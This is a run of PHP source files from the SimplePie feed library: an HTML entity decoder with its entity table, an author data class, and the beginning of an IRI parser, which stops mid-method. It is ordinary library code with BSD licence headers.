 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */


/**
 * Decode HTML Entities
 *
 * This implements HTML5 as of revision 967 (2007-06-28)
 *
 * @deprecated Use DOMDocument instead!
 * @package SimplePie
 */
class SimplePie_Decode_HTML_Entities
{
	/**
	 * Data to be parsed
	 *
	 * @access private
	 * @var string
	 */
	var $data = '';

	/**
	 * Currently consumed bytes
	 *
	 * @access private
	 * @var string
	 */
	var $consumed = '';

	/**
	 * Position of the current byte being parsed
	 *
	 * @access private
	 * @var int
	 */
	var $position = 0;

	/**
	 * Create an instance of the class with the input data
	 *
	 * @access public
	 * @param string $data Input data
	 */
	public function __construct($data)
	{
		$this->data = $data;
	}

	/**
	 * Parse the input data
	 *
	 * @access public
	 * @return string Output data
	 */
	public function parse()
	{
		while (($this->position = strpos($this->data, '&', $this->position)) !== false)
		{
			$this->consume();
			$this->entity();
			$this->consumed = '';
		}
		return $this->data;
	}

	/**
	 * Consume the next byte
	 *
	 * @access private
	 * @return mixed The next byte, or false, if there is no more data
	 */
	public function consume()
	{
		if (isset($this->data[$this->position]))
		{
			$this->consumed .= $this->data[$this->position];
			return $this->data[$this->position++];
		}

		return false;
	}

	/**
	 * Consume a range of characters
	 *
	 * @access private
	 * @param string $chars Characters to consume
	 * @return mixed A series of characters that match the range, or false
	 */
	public function consume_range($chars)
	{
		if ($len = strspn($this->data, $chars, $this->position))
		{
			$data = substr($this->data, $this->position, $len);
			$this->consumed .= $data;
			$this->position += $len;
			return $data;
		}

		return false;
	}

	/**
	 * Unconsume one byte
	 *
	 * @access private
	 */
	public function unconsume()
	{
		$this->consumed = substr($this->consumed, 0, -1);
		$this->position--;
	}

	/**
	 * Decode an entity
	 *
	 * @access private
	 */
	public function entity()
	{
		switch ($this->consume())
		{
			case "\x09":
			case "\x0A":
			case "\x0B":
			case "\x0C":
			case "\x20":
			case "\x3C":
			case "\x26":
			case false:
				break;

			case "\x23":
				switch ($this->consume())
				{
					case "\x78":
					case "\x58":
						$range = '0123456789ABCDEFabcdef';
						$hex = true;
						break;

					default:
						$range = '0123456789';
						$hex = false;
						$this->unconsume();
						break;
				}

				if ($codepoint = $this->consume_range($range))
				{
					static $windows_1252_specials = array(0x0D => "\x0A", 0x80 => "\xE2\x82\xAC", 0x81 => "\xEF\xBF\xBD", 0x82 => "\xE2\x80\x9A", 0x83 => "\xC6\x92", 0x84 => "\xE2\x80\x9E", 0x85 => "\xE2\x80\xA6", 0x86 => "\xE2\x80\xA0", 0x87 => "\xE2\x80\xA1", 0x88 => "\xCB\x86", 0x89 => "\xE2\x80\xB0", 0x8A => "\xC5\xA0", 0x8B => "\xE2\x80\xB9", 0x8C => "\xC5\x92", 0x8D => "\xEF\xBF\xBD", 0x8E => "\xC5\xBD", 0x8F => "\xEF\xBF\xBD", 0x90 => "\xEF\xBF\xBD", 0x91 => "\xE2\x80\x98", 0x92 => "\xE2\x80\x99", 0x93 => "\xE2\x80\x9C", 0x94 => "\xE2\x80\x9D", 0x95 => "\xE2\x80\xA2", 0x96 => "\xE2\x80\x93", 0x97 => "\xE2\x80\x94", 0x98 => "\xCB\x9C", 0x99 => "\xE2\x84\xA2", 0x9A => "\xC5\xA1", 0x9B => "\xE2\x80\xBA", 0x9C => "\xC5\x93", 0x9D => "\xEF\xBF\xBD", 0x9E => "\xC5\xBE", 0x9F => "\xC5\xB8");

					if ($hex)
					{
						$codepoint = hexdec($codepoint);
					}
					else
					{
						$codepoint = intval($codepoint);
					}

					if (isset($windows_1252_specials[$codepoint]))
					{
						$replacement = $windows_1252_specials[$codepoint];
					}
					else
					{
						$replacement = SimplePie_Misc::codepoint_to_utf8($codepoint);
					}

					if (!in_array($this->consume(), array(';', false), true))
					{
						$this->unconsume();
					}

					$consumed_length = strlen($this->consumed);
					$this->data = substr_replace($this->data, $replacement, $this->position - $consumed_length, $consumed_length);
					$this->position += strlen($replacement) - $consumed_length;
				}
				break;

			default:
				static $entities = array(
					'Aacute' => "\xC3\x81",
					'aacute' => "\xC3\xA1",
					'Aacute;' => "\xC3\x81",
					'aacute;' => "\xC3\xA1",
					'Acirc' => "\xC3\x82",
					'acirc' => "\xC3\xA2",
					'Acirc;' => "\xC3\x82",
					'acirc;' => "\xC3\xA2",
					'acute' => "\xC2\xB4",
					'acute;' => "\xC2\xB4",
					'AElig' => "\xC3\x86",
					'aelig' => "\xC3\xA6",
					'AElig;' => "\xC3\x86",
					'aelig;' => "\xC3\xA6",
					'Agrave' => "\xC3\x80",
					'agrave' => "\xC3\xA0",
					'Agrave;' => "\xC3\x80",
					'agrave;' => "\xC3\xA0",
					'alefsym;' => "\xE2\x84\xB5",
					'Alpha;' => "\xCE\x91",
					'alpha;' => "\xCE\xB1",
					'AMP' => "\x26",
					'amp' => "\x26",
					'AMP;' => "\x26",
					'amp;' => "\x26",
					'and;' => "\xE2\x88\xA7",
					'ang;' => "\xE2\x88\xA0",
					'apos;' => "\x27",
					'Aring' => "\xC3\x85",
					'aring' => "\xC3\xA5",
					'Aring;' => "\xC3\x85",
					'aring;' => "\xC3\xA5",
					'asymp;' => "\xE2\x89\x88",
					'Atilde' => "\xC3\x83",
					'atilde' => "\xC3\xA3",
					'Atilde;' => "\xC3\x83",
					'atilde;' => "\xC3\xA3",
					'Auml' => "\xC3\x84",
					'auml' => "\xC3\xA4",
					'Auml;' => "\xC3\x84",
					'auml;' => "\xC3\xA4",
					'bdquo;' => "\xE2\x80\x9E",
					'Beta;' => "\xCE\x92",
					'beta;' => "\xCE\xB2",
					'brvbar' => "\xC2\xA6",
					'brvbar;' => "\xC2\xA6",
					'bull;' => "\xE2\x80\xA2",
					'cap;' => "\xE2\x88\xA9",
					'Ccedil' => "\xC3\x87",
					'ccedil' => "\xC3\xA7",
					'Ccedil;' => "\xC3\x87",
					'ccedil;' => "\xC3\xA7",
					'cedil' => "\xC2\xB8",
					'cedil;' => "\xC2\xB8",
					'cent' => "\xC2\xA2",
					'cent;' => "\xC2\xA2",
					'Chi;' => "\xCE\xA7",
					'chi;' => "\xCF\x87",
					'circ;' => "\xCB\x86",
					'clubs;' => "\xE2\x99\xA3",
					'cong;' => "\xE2\x89\x85",
					'COPY' => "\xC2\xA9",
					'copy' => "\xC2\xA9",
					'COPY;' => "\xC2\xA9",
					'copy;' => "\xC2\xA9",
					'crarr;' => "\xE2\x86\xB5",
					'cup;' => "\xE2\x88\xAA",
					'curren' => "\xC2\xA4",
					'curren;' => "\xC2\xA4",
					'Dagger;' => "\xE2\x80\xA1",
					'dagger;' => "\xE2\x80\xA0",
					'dArr;' => "\xE2\x87\x93",
					'darr;' => "\xE2\x86\x93",
					'deg' => "\xC2\xB0",
					'deg;' => "\xC2\xB0",
					'Delta;' => "\xCE\x94",
					'delta;' => "\xCE\xB4",
					'diams;' => "\xE2\x99\xA6",
					'divide' => "\xC3\xB7",
					'divide;' => "\xC3\xB7",
					'Eacute' => "\xC3\x89",
					'eacute' => "\xC3\xA9",
					'Eacute;' => "\xC3\x89",
					'eacute;' => "\xC3\xA9",
					'Ecirc' => "\xC3\x8A",
					'ecirc' => "\xC3\xAA",
					'Ecirc;' => "\xC3\x8A",
					'ecirc;' => "\xC3\xAA",
					'Egrave' => "\xC3\x88",
					'egrave' => "\xC3\xA8",
					'Egrave;' => "\xC3\x88",
					'egrave;' => "\xC3\xA8",
					'empty;' => "\xE2\x88\x85",
					'emsp;' => "\xE2\x80\x83",
					'ensp;' => "\xE2\x80\x82",
					'Epsilon;' => "\xCE\x95",
					'epsilon;' => "\xCE\xB5",
					'equiv;' => "\xE2\x89\xA1",
					'Eta;' => "\xCE\x97",
					'eta;' => "\xCE\xB7",
					'ETH' => "\xC3\x90",
					'eth' => "\xC3\xB0",
					'ETH;' => "\xC3\x90",
					'eth;' => "\xC3\xB0",
					'Euml' => "\xC3\x8B",
					'euml' => "\xC3\xAB",
					'Euml;' => "\xC3\x8B",
					'euml;' => "\xC3\xAB",
					'euro;' => "\xE2\x82\xAC",
					'exist;' => "\xE2\x88\x83",
					'fnof;' => "\xC6\x92",
					'forall;' => "\xE2\x88\x80",
					'frac12' => "\xC2\xBD",
					'frac12;' => "\xC2\xBD",
					'frac14' => "\xC2\xBC",
					'frac14;' => "\xC2\xBC",
					'frac34' => "\xC2\xBE",
					'frac34;' => "\xC2\xBE",
					'frasl;' => "\xE2\x81\x84",
					'Gamma;' => "\xCE\x93",
					'gamma;' => "\xCE\xB3",
					'ge;' => "\xE2\x89\xA5",
					'GT' => "\x3E",
					'gt' => "\x3E",
					'GT;' => "\x3E",
					'gt;' => "\x3E",
					'hArr;' => "\xE2\x87\x94",
					'harr;' => "\xE2\x86\x94",
					'hearts;' => "\xE2\x99\xA5",
					'hellip;' => "\xE2\x80\xA6",
					'Iacute' => "\xC3\x8D",
					'iacute' => "\xC3\xAD",
					'Iacute;' => "\xC3\x8D",
					'iacute;' => "\xC3\xAD",
					'Icirc' => "\xC3\x8E",
					'icirc' => "\xC3\xAE",
					'Icirc;' => "\xC3\x8E",
					'icirc;' => "\xC3\xAE",
					'iexcl' => "\xC2\xA1",
					'iexcl;' => "\xC2\xA1",
					'Igrave' => "\xC3\x8C",
					'igrave' => "\xC3\xAC",
					'Igrave;' => "\xC3\x8C",
					'igrave;' => "\xC3\xAC",
					'image;' => "\xE2\x84\x91",
					'infin;' => "\xE2\x88\x9E",
					'int;' => "\xE2\x88\xAB",
					'Iota;' => "\xCE\x99",
					'iota;' => "\xCE\xB9",
					'iquest' => "\xC2\xBF",
					'iquest;' => "\xC2\xBF",
					'isin;' => "\xE2\x88\x88",
					'Iuml' => "\xC3\x8F",
					'iuml' => "\xC3\xAF",
					'Iuml;' => "\xC3\x8F",
					'iuml;' => "\xC3\xAF",
					'Kappa;' => "\xCE\x9A",
					'kappa;' => "\xCE\xBA",
					'Lambda;' => "\xCE\x9B",
					'lambda;' => "\xCE\xBB",
					'lang;' => "\xE3\x80\x88",
					'laquo' => "\xC2\xAB",
					'laquo;' => "\xC2\xAB",
					'lArr;' => "\xE2\x87\x90",
					'larr;' => "\xE2\x86\x90",
					'lceil;' => "\xE2\x8C\x88",
					'ldquo;' => "\xE2\x80\x9C",
					'le;' => "\xE2\x89\xA4",
					'lfloor;' => "\xE2\x8C\x8A",
					'lowast;' => "\xE2\x88\x97",
					'loz;' => "\xE2\x97\x8A",
					'lrm;' => "\xE2\x80\x8E",
					'lsaquo;' => "\xE2\x80\xB9",
					'lsquo;' => "\xE2\x80\x98",
					'LT' => "\x3C",
					'lt' => "\x3C",
					'LT;' => "\x3C",
					'lt;' => "\x3C",
					'macr' => "\xC2\xAF",
					'macr;' => "\xC2\xAF",
					'mdash;' => "\xE2\x80\x94",
					'micro' => "\xC2\xB5",
					'micro;' => "\xC2\xB5",
					'middot' => "\xC2\xB7",
					'middot;' => "\xC2\xB7",
					'minus;' => "\xE2\x88\x92",
					'Mu;' => "\xCE\x9C",
					'mu;' => "\xCE\xBC",
					'nabla;' => "\xE2\x88\x87",
					'nbsp' => "\xC2\xA0",
					'nbsp;' => "\xC2\xA0",
					'ndash;' => "\xE2\x80\x93",
					'ne;' => "\xE2\x89\xA0",
					'ni;' => "\xE2\x88\x8B",
					'not' => "\xC2\xAC",
					'not;' => "\xC2\xAC",
					'notin;' => "\xE2\x88\x89",
					'nsub;' => "\xE2\x8A\x84",
					'Ntilde' => "\xC3\x91",
					'ntilde' => "\xC3\xB1",
					'Ntilde;' => "\xC3\x91",
					'ntilde;' => "\xC3\xB1",
					'Nu;' => "\xCE\x9D",
					'nu;' => "\xCE\xBD",
					'Oacute' => "\xC3\x93",
					'oacute' => "\xC3\xB3",
					'Oacute;' => "\xC3\x93",
					'oacute;' => "\xC3\xB3",
					'Ocirc' => "\xC3\x94",
					'ocirc' => "\xC3\xB4",
					'Ocirc;' => "\xC3\x94",
					'ocirc;' => "\xC3\xB4",
					'OElig;' => "\xC5\x92",
					'oelig;' => "\xC5\x93",
					'Ograve' => "\xC3\x92",
					'ograve' => "\xC3\xB2",
					'Ograve;' => "\xC3\x92",
					'ograve;' => "\xC3\xB2",
					'oline;' => "\xE2\x80\xBE",
					'Omega;' => "\xCE\xA9",
					'omega;' => "\xCF\x89",
					'Omicron;' => "\xCE\x9F",
					'omicron;' => "\xCE\xBF",
					'oplus;' => "\xE2\x8A\x95",
					'or;' => "\xE2\x88\xA8",
					'ordf' => "\xC2\xAA",
					'ordf;' => "\xC2\xAA",
					'ordm' => "\xC2\xBA",
					'ordm;' => "\xC2\xBA",
					'Oslash' => "\xC3\x98",
					'oslash' => "\xC3\xB8",
					'Oslash;' => "\xC3\x98",
					'oslash;' => "\xC3\xB8",
					'Otilde' => "\xC3\x95",
					'otilde' => "\xC3\xB5",
					'Otilde;' => "\xC3\x95",
					'otilde;' => "\xC3\xB5",
					'otimes;' => "\xE2\x8A\x97",
					'Ouml' => "\xC3\x96",
					'ouml' => "\xC3\xB6",
					'Ouml;' => "\xC3\x96",
					'ouml;' => "\xC3\xB6",
					'para' => "\xC2\xB6",
					'para;' => "\xC2\xB6",
					'part;' => "\xE2\x88\x82",
					'permil;' => "\xE2\x80\xB0",
					'perp;' => "\xE2\x8A\xA5",
					'Phi;' => "\xCE\xA6",
					'phi;' => "\xCF\x86",
					'Pi;' => "\xCE\xA0",
					'pi;' => "\xCF\x80",
					'piv;' => "\xCF\x96",
					'plusmn' => "\xC2\xB1",
					'plusmn;' => "\xC2\xB1",
					'pound' => "\xC2\xA3",
					'pound;' => "\xC2\xA3",
					'Prime;' => "\xE2\x80\xB3",
					'prime;' => "\xE2\x80\xB2",
					'prod;' => "\xE2\x88\x8F",
					'prop;' => "\xE2\x88\x9D",
					'Psi;' => "\xCE\xA8",
					'psi;' => "\xCF\x88",
					'QUOT' => "\x22",
					'quot' => "\x22",
					'QUOT;' => "\x22",
					'quot;' => "\x22",
					'radic;' => "\xE2\x88\x9A",
					'rang;' => "\xE3\x80\x89",
					'raquo' => "\xC2\xBB",
					'raquo;' => "\xC2\xBB",
					'rArr;' => "\xE2\x87\x92",
					'rarr;' => "\xE2\x86\x92",
					'rceil;' => "\xE2\x8C\x89",
					'rdquo;' => "\xE2\x80\x9D",
					'real;' => "\xE2\x84\x9C",
					'REG' => "\xC2\xAE",
					'reg' => "\xC2\xAE",
					'REG;' => "\xC2\xAE",
					'reg;' => "\xC2\xAE",
					'rfloor;' => "\xE2\x8C\x8B",
					'Rho;' => "\xCE\xA1",
					'rho;' => "\xCF\x81",
					'rlm;' => "\xE2\x80\x8F",
					'rsaquo;' => "\xE2\x80\xBA",
					'rsquo;' => "\xE2\x80\x99",
					'sbquo;' => "\xE2\x80\x9A",
					'Scaron;' => "\xC5\xA0",
					'scaron;' => "\xC5\xA1",
					'sdot;' => "\xE2\x8B\x85",
					'sect' => "\xC2\xA7",
					'sect;' => "\xC2\xA7",
					'shy' => "\xC2\xAD",
					'shy;' => "\xC2\xAD",
					'Sigma;' => "\xCE\xA3",
					'sigma;' => "\xCF\x83",
					'sigmaf;' => "\xCF\x82",
					'sim;' => "\xE2\x88\xBC",
					'spades;' => "\xE2\x99\xA0",
					'sub;' => "\xE2\x8A\x82",
					'sube;' => "\xE2\x8A\x86",
					'sum;' => "\xE2\x88\x91",
					'sup;' => "\xE2\x8A\x83",
					'sup1' => "\xC2\xB9",
					'sup1;' => "\xC2\xB9",
					'sup2' => "\xC2\xB2",
					'sup2;' => "\xC2\xB2",
					'sup3' => "\xC2\xB3",
					'sup3;' => "\xC2\xB3",
					'supe;' => "\xE2\x8A\x87",
					'szlig' => "\xC3\x9F",
					'szlig;' => "\xC3\x9F",
					'Tau;' => "\xCE\xA4",
					'tau;' => "\xCF\x84",
					'there4;' => "\xE2\x88\xB4",
					'Theta;' => "\xCE\x98",
					'theta;' => "\xCE\xB8",
					'thetasym;' => "\xCF\x91",
					'thinsp;' => "\xE2\x80\x89",
					'THORN' => "\xC3\x9E",
					'thorn' => "\xC3\xBE",
					'THORN;' => "\xC3\x9E",
					'thorn;' => "\xC3\xBE",
					'tilde;' => "\xCB\x9C",
					'times' => "\xC3\x97",
					'times;' => "\xC3\x97",
					'TRADE;' => "\xE2\x84\xA2",
					'trade;' => "\xE2\x84\xA2",
					'Uacute' => "\xC3\x9A",
					'uacute' => "\xC3\xBA",
					'Uacute;' => "\xC3\x9A",
					'uacute;' => "\xC3\xBA",
					'uArr;' => "\xE2\x87\x91",
					'uarr;' => "\xE2\x86\x91",
					'Ucirc' => "\xC3\x9B",
					'ucirc' => "\xC3\xBB",
					'Ucirc;' => "\xC3\x9B",
					'ucirc;' => "\xC3\xBB",
					'Ugrave' => "\xC3\x99",
					'ugrave' => "\xC3\xB9",
					'Ugrave;' => "\xC3\x99",
					'ugrave;' => "\xC3\xB9",
					'uml' => "\xC2\xA8",
					'uml;' => "\xC2\xA8",
					'upsih;' => "\xCF\x92",
					'Upsilon;' => "\xCE\xA5",
					'upsilon;' => "\xCF\x85",
					'Uuml' => "\xC3\x9C",
					'uuml' => "\xC3\xBC",
					'Uuml;' => "\xC3\x9C",
					'uuml;' => "\xC3\xBC",
					'weierp;' => "\xE2\x84\x98",
					'Xi;' => "\xCE\x9E",
					'xi;' => "\xCE\xBE",
					'Yacute' => "\xC3\x9D",
					'yacute' => "\xC3\xBD",
					'Yacute;' => "\xC3\x9D",
					'yacute;' => "\xC3\xBD",
					'yen' => "\xC2\xA5",
					'yen;' => "\xC2\xA5",
					'yuml' => "\xC3\xBF",
					'Yuml;' => "\xC5\xB8",
					'yuml;' => "\xC3\xBF",
					'Zeta;' => "\xCE\x96",
					'zeta;' => "\xCE\xB6",
					'zwj;' => "\xE2\x80\x8D",
					'zwnj;' => "\xE2\x80\x8C"
				);

				for ($i = 0, $match = null; $i < 9 && $this->consume() !== false; $i++)
				{
					$consumed = substr($this->consumed, 1);
					if (isset($entities[$consumed]))
					{
						$match = $consumed;
					}
				}

				if ($match !== null)
				{
 					$this->data = substr_replace($this->data, $entities[$match], $this->position - strlen($consumed) - 1, strlen($match) + 1);
					$this->position += strlen($entities[$match]) - strlen($consumed) - 1;
				}
				break;
		}
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Manages all author-related data
 *
 * Used by {@see SimplePie_Item::get_author()} and {@see SimplePie::get_authors()}
 *
 * This class can be overloaded with {@see SimplePie::set_author_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class SimplePie_Author
{
	/**
	 * Author's name
	 *
	 * @var string
	 * @see get_name()
	 */
	var $name;

	/**
	 * Author's link
	 *
	 * @var string
	 * @see get_link()
	 */
	var $link;

	/**
	 * Author's email address
	 *
	 * @var string
	 * @see get_email()
	 */
	var $email;

	/**
	 * Constructor, used to input the data
	 *
	 * @param string $name
	 * @param string $link
	 * @param string $email
	 */
	public function __construct($name = null, $link = null, $email = null)
	{
		$this->name = $name;
		$this->link = $link;
		$this->email = $email;
	}

	/**
	 * String-ified version
	 *
	 * @return string
	 */
	public function __toString()
	{
		// There is no $this->data here
		return md5(serialize($this));
	}

	/**
	 * Author's name
	 *
	 * @return string|null
	 */
	public function get_name()
	{
		if ($this->name !== null)
		{
			return $this->name;
		}

		return null;
	}

	/**
	 * Author's link
	 *
	 * @return string|null
	 */
	public function get_link()
	{
		if ($this->link !== null)
		{
			return $this->link;
		}

		return null;
	}

	/**
	 * Author's email address
	 *
	 * @return string|null
	 */
	public function get_email()
	{
		if ($this->email !== null)
		{
			return $this->email;
		}

		return null;
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * IRI parser/serialiser/normaliser
 *
 * @package SimplePie
 * @subpackage HTTP
 * @author Sam Sneddon
 * @author Steve Minutillo
 * @author Ryan McCue
 * @copyright 2007-2012 Sam Sneddon, Steve Minutillo, Ryan McCue
 * @license http://www.opensource.org/licenses/bsd-license.php
 */
class SimplePie_IRI
{
	/**
	 * Scheme
	 *
	 * @var string
	 */
	protected $scheme = null;

	/**
	 * User Information
	 *
	 * @var string
	 */
	protected $iuserinfo = null;

	/**
	 * ihost
	 *
	 * @var string
	 */
	protected $ihost = null;

	/**
	 * Port
	 *
	 * @var string
	 */
	protected $port = null;

	/**
	 * ipath
	 *
	 * @var string
	 */
	protected $ipath = '';

	/**
	 * iquery
	 *
	 * @var string
	 */
	protected $iquery = null;

	/**
	 * ifragment
	 *
	 * @var string
	 */
	protected $ifragment = null;

	/**
	 * Normalization database
	 *
	 * Each key is the scheme, each value is an array with each key as the IRI
	 * part and value as the default value for that part.
	 */
	protected $normalization = array(
		'acap' => array(
			'port' => 674
		),
		'dict' => array(
			'port' => 2628
		),
		'file' => array(
			'ihost' => 'localhost'
		),
		'http' => array(
			'port' => 80,
			'ipath' => '/'
		),
		'https' => array(
			'port' => 443,
			'ipath' => '/'
		),
	);

	/**
	 * Return the entire IRI when you try and read the object as a string
	 *
	 * @return string
	 */
	public function __toString()
	{
		return $this->get_iri();
	}

	/**
	 * Overload __set() to provide access via properties
	 *
	 * @param string $name Property name
	 * @param mixed $value Property value
	 */
	public function __set($name, $value)
	{
		if (method_exists($this, 'set_' . $name))
		{
			call_user_func(array($this, 'set_' . $name), $value);
		}
		elseif (
			   $name === 'iauthority'
			|| $name === 'iuserinfo'
			|| $name === 'ihost'
			|| $name === 'ipath'
			|| $name === 'iquery'
			|| $name === 'ifragment'
		)
		{
			call_user_func(array($this, 'set_' . substr($name, 1)), $value);
		}
	}

	/**
	 * Overload __get() to provide access via properties
	 *
	 * @param string $name Property name
	 * @return mixed
	 */
	public function __get($name)
	{
		// isset() returns false for null, we don't want to do that
		// Also why we use array_key_exists below instead of isset()
		$props = get_object_vars($this);

		if (
			$name === 'iri' ||
			$name === 'uri' ||
			$name === 'iauthority' ||
			$name === 'authority'
		)
		{
			$return = $this->{"get_$name"}();
		}
		elseif (array_key_exists($name, $props))
		{
			$return = $this->$name;
		}
		// host -> ihost
		elseif (($prop = 'i' . $name) && array_key_exists($prop, $props))
		{
			$name = $prop;
			$return = $this->$prop;
		}
		// ischeme -> scheme
		elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props))
		{
			$name = $prop;
			$return = $this->$prop;
		}
		else
		{
			trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE);
			$return = null;
		}

		if ($return === null && isset($this->normalization[$this->scheme][$name]))
		{
			return $this->normalization[$this->scheme][$name];
		}

		return $return;
	}

	/**
	 * Overload __isset() to provide access via properties
	 *
	 * @param string $name Property name
	 * @return bool
	 */
	public function __isset($name)
	{
		return method_exists($this, 'get_' . $name) || isset($this->$name);
	}

	/**
	 * Overload __unset() to provide access via properties
	 *
	 * @param string $name Property name
	 */
	public function __unset($name)
	{
		if (method_exists($this, 'set_' . $name))
		{
			call_user_func(array($this, 'set_' . $name), '');
		}
	}

	/**
	 * Create a new IRI object, from a specified string
	 *
	 * @param string $iri
	 */
	public function __construct($iri = null)
	{
		$this->set_iri($iri);
	}

	/**
	 * Clean up
	 */
	public function __destruct() {
	    $this->set_iri(null, true);
	    $this->set_path(null, true);
	    $this->set_authority(null, true);
	}

	/**
	 * Create a new IRI object by resolving a relative IRI
	 *
	 * Returns false if $base is not absolute, otherwise an IRI.
	 *
	 * @param IRI|string $base (Absolute) Base IRI
	 * @param IRI|string $relative Relative IRI
	 * @return IRI|false
	 */
	public static function absolutize($base, $relative)
	{
		if (!($relative instanceof SimplePie_IRI))
		{
			$relative = new SimplePie_IRI($relative);
		}
		if (!$relative->is_valid())
		{
			return false;
		}
		elseif ($relative->scheme !== null)
		{
			return clone $relative;
		}
		else
		{
			if (!($base instanceof SimplePie_IRI))
			{
				$base = new SimplePie_IRI($base);
			}
			if ($base->scheme !== null && $base->is_valid())
			{
				if ($relative->get_iri() !== '')
				{
